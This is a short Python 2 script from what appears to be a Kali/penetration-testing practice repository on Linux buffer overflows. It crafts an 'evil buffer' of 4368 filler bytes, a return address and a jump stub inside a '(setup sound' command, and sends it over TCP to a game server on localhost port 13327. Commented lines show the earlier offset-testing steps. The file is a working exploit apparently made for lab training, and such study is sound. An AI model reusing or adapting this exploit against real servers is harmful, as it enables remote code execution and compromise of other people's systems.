Files
kali_inux/Buffer overflow/linux系统的缓冲区溢出/04.py
2017-08-03 13:41:33 +08:00

16 lines
483 B
Python

#!/usr/bin/python
import socket
host = "127.0.0.1"
crash = "\x41" * 4368 + "\xd7\x45\x13\x08"+ "\x83\xc0\x0c\xff\xe0\x90\x90"
#crash="\x41"*4368 + '\xd7\x45\x13\x08' + '\x83\xc0\x0c\xff\xe0\x90\x90'
#crash="\x41"*4368 + '\x42'*4 + '\x43'*7
buffer = "\x11(setup sound " +crash+ "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*] Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*] Payload Send"